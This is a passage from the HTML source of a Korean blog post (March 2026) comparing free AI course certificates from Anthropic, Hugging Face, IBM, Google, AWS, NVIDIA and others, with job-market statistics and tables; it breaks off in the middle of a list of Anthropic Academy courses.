&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;2026년, 취준생들에게는 AI 스펙 쌓기가 선택이 아닌 필수가 됐다. 취업 공고에서 &quot;코파일럿 경험자 우대&quot;가 &lt;/span&gt;&lt;b&gt;+2,238%&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt; 증가했고, RAG 관련 직무 공고는 &lt;/span&gt;&lt;b&gt;+2,047%&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt; 폭발적으로 늘었다. 그런데 AI 자격증과 수료증 종류가 너무 많은것 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;최대한 정리 해보긴 하였는데, 혹시 시간에 따라 내용이 금방 변할 수 있으니 현시점 (2026년 3월) 기준으로 한번 정리해보고 가려고 한다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2548&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buJuLL/dJMcajhaoyJ/KlLRh7Yo3cTKwzGUaIvjt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buJuLL/dJMcajhaoyJ/KlLRh7Yo3cTKwzGUaIvjt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buJuLL/dJMcajhaoyJ/KlLRh7Yo3cTKwzGUaIvjt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuJuLL%2FdJMcajhaoyJ%2FKlLRh7Yo3cTKwzGUaIvjt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2548&quot; height=&quot;1410&quot; data-origin-width=&quot;2548&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;Anthropic, OpenAI, Google, IBM, NVIDIA, AWS, Hugging Face 등 10개 글로벌 플랫폼의 &lt;/span&gt;&lt;b&gt;무료 AI 수료증&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;을 비교표와 함께 정리해 보려한다. 추가로 한국 국가공인 AI 자격증 현황과 취업에 쓸모없는 &quot;유령 자격증&quot; 피하는 법도 다룬다.&lt;/span&gt;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;왜 지금 AI 수료증인가? &amp;mdash; 채용 데이터로 보는 현실&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;글로벌 무료 AI 수료증 TOP 10 한눈에 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플랫폼별 상세 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Anthropic Academy &amp;mdash; 무료 공식 수료증 13개&lt;/li&gt;
&lt;li&gt;Hugging Face &amp;mdash; 오픈소스 AI 다수 코스 무료&lt;/li&gt;
&lt;li&gt;LangChain Academy &amp;mdash; AI 에이전트&amp;middot;LangGraph 특화&lt;/li&gt;
&lt;li&gt;IBM SkillsBuild &amp;mdash; Credly 배지 무료 발급&lt;/li&gt;
&lt;li&gt;OpenAI Academy &amp;mdash; 인증 파일럿 시작&lt;/li&gt;
&lt;li&gt;Google Cloud Skills Boost &amp;mdash; Skill Badge 다수&lt;/li&gt;
&lt;li&gt;AWS Skill Builder &amp;mdash; 600+ 무료 코스&lt;/li&gt;
&lt;li&gt;NVIDIA DLI &amp;mdash; GPU 실습 환경 제공&lt;/li&gt;
&lt;li&gt;Microsoft &amp;mdash; Copilot Studio Agent Academy&lt;/li&gt;
&lt;li&gt;DeepLearning.AI &amp;mdash; 단기 핵심 코스 무료&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한국 국가공인 AI 자격증 현황 (AICE, ADsP, 빅데이터분석기사)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AI 유령 자격증 주의 &amp;mdash; 42.2%는 시험 한 번도 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;대상별 추천 경로 (취준생 / 개발자 / 비개발자 / 학생)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;LinkedIn에 수료증 등록하는 법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자주 묻는 질문 (FAQ)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;이 글의 핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;100% 무료 수료증&lt;/b&gt;: Anthropic Academy (13개), Hugging Face (다수 코스), LangChain Academy (다수 코스), IBM SkillsBuild (1,000+)&lt;br /&gt;&lt;b&gt;LinkedIn 추가 가능&lt;/b&gt;: Anthropic Academy, IBM SkillsBuild, Google Cloud Skill Badge, OpenAI Academy(예정)&lt;br /&gt;&lt;b&gt;한국 국가공인&lt;/b&gt;: AICE Associate (AI 분야 유일 국가공인, 2024년 12월 공인), ADsP, 빅데이터분석기사&lt;br /&gt;&lt;b&gt;주의사항&lt;/b&gt;: AI 민간자격증 42.2%가 시험 한 번도 미실시 &amp;mdash; pqi.or.kr에서 검증 필수&lt;br /&gt;&lt;b&gt;2026 채용 핵심&lt;/b&gt;: RAG +2,047%, 코파일럿 +2,238% (잡코리아 채용공고 증가율)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 왜 지금 AI 수료증인가? --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 지금 AI 수료증인가? &amp;mdash; 채용 데이터로 보는 현실&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;막연히 &quot;AI 스펙이 중요하다&quot;는 말은 이제 식상하다. 잡코리아의 채용공고 데이터를 보면 현실이 보인다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;스킬 키워드&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;채용공고 증가율&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;코파일럿 (AI Copilot)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center; color: #ee2323;&quot;&gt;&lt;b&gt;+2,238%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;GitHub Copilot, MS Copilot 실무 경험 급증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;RAG&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center; color: #ee2323;&quot;&gt;&lt;b&gt;+2,047%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;검색증강생성, AI 개발 핵심 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AWS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center; color: #1a6e1a;&quot;&gt;&lt;b&gt;+1,778%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 AI 인프라 수요 폭발&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Python&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center; color: #1a6e1a;&quot;&gt;&lt;b&gt;+527%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI/ML 개발 필수 언어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.jobkorea.co.kr/recruit/careers/articles/ai-job-posting-trends&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;잡코리아 AI 취업 시장 트렌드&lt;/a&gt;. 코파일럿&amp;middot;RAG는 2023&amp;rarr;2024년 전년 대비, AWS&amp;middot;Python은 2012~2014&amp;rarr;2024년 장기 비교로 비교 기간이 서로 다름)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;채용 시장의 구조적 변화&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; AI 채용공고 경력직 요구 비율: 2020년 54% &amp;rarr; 2024년 약 80% 이상 (잡코리아 추정, 원문 직접 확인 권장)&lt;br /&gt;&amp;bull; 포트폴리오 평가 비중: AI/데이터/UX 직무에서 과반 초과 (커리어온뉴스 보도 기반, 공식 조사 통계 아님)&lt;br /&gt;&amp;bull; 2026년 채용 규모: 74.5% 기업이 유지 또는 확대 계획 (출처: 원티드랩 '2026 채용 트렌드 서베이', 153개 기업 대상)&lt;br /&gt;&amp;bull; 카카오: 2025년 9월 창사 이래 첫 그룹 공채, 'AI 네이티브' 인재 명시적 선발&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 상황에서 &lt;b&gt;무료 공식 수료증&lt;/b&gt;은 단순한 스펙 장식을 넘어, 내가 직접 배웠다는 증거가 된다. 특히 LinkedIn 프로필에 자격증을 보유한 회원은 프로필 조회수가 평균 6배 높다는 LinkedIn 공식 데이터가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: TOP 10 비교표 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 글로벌 무료 AI 수료증 TOP 10 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;무료 + 공식 인증서&quot; 조합 기준으로 선별했다. 학습 자료 무료이지만 수료증이 유료인 경우는 별도 표기했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수료증 비용&lt;/th&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;LinkedIn&lt;/th&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;소요시간&lt;/th&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;난이도&lt;/th&gt;
&lt;th style=&quot;padding: 12px 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Anthropic Academy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1~10시간/코스&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;공식 13개 수료증, 신용카드 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Hugging Face&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;비공식&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;코스별 상이&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;중급~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;오픈소스 AI 생태계 다수 코스 (지속 업데이트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;LangChain Academy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;비공식&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;코스별 상이&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;AI 에이전트&amp;middot;LangGraph 특화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;IBM SkillsBuild&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Credly 배지&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;코스별 상이&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;1,000+ 코스, Credly 디지털 배지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenAI Academy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;파일럿 중&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;예정&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;15~20시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;콘텐츠 무료, 인증은 기관 파일럿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Google Cloud Skills Boost&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;다수 무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Skill Badge&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;코스별 상이&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;Skill Badge 다수, 클라우드 AI 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AWS Skill Builder&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;600+ 무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;△ 인증 후 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;코스별 상이&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;게임&amp;middot;시뮬레이션 학습, 한국어 시험 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;NVIDIA DLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;△ 일부 무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;△ 수료증&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;8시간/코스&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;중급~고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;GPU 클라우드 실습 환경 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Microsoft (Agent Academy)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Applied Skills&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;자율 조절&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;Copilot Studio 에이전트 구축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;DeepLearning.AI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Short Course 무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;△ 비공식&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1~2시간/코스&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;입문~중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 8px; border: 1px solid #b3d9ff;&quot;&gt;Andrew Ng 강의, 핵심 토픽 단기 완성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 플랫폼별 상세 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 플랫폼별 상세 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;!-- 3-1: Anthropic Academy --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;① Anthropic Academy &amp;mdash; 공식 AI 수료증 13개, 전부 무료&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;anthropic.skilljar.com&lt;/a&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;비용:&lt;/b&gt; 100% 무료 (신용카드 불필요, 유료 플랜 업셀 없음)&lt;br /&gt;&amp;bull; &lt;b&gt;수료증:&lt;/b&gt; 13개 전 코스 공식 Anthropic 수료증 발급, LinkedIn 추가 가능&lt;br /&gt;&amp;bull; &lt;b&gt;출시:&lt;/b&gt; 2026년 3월 2일&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 글로벌 AI 교육 시장에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;무료 + 공식 수료증 + LinkedIn 등록 가능&quot;&lt;/b&gt;&lt;/span&gt;이라는 세 조건을 모두 갖춘 대표적인 플랫폼이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(IBM SkillsBuild도 Credly 배지로 동일 조건을 충족한다).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude를 만든 Anthropic이 직접 운영하는 공식 플랫폼이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;트랙&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;코스 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot; rowspan=&quot;5&quot;&gt;&lt;b&gt;Developer&lt;br /&gt;Deep-Dives&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code in Action&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code CLI 활용 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Building with the Claude API&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;인증, 요청 처리, 스트리밍, 도구 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Introduction to Model Context Protocol&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Model Context Protocol 기초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;Model Context Protocol: Advanced Topics&lt;/td&gt;
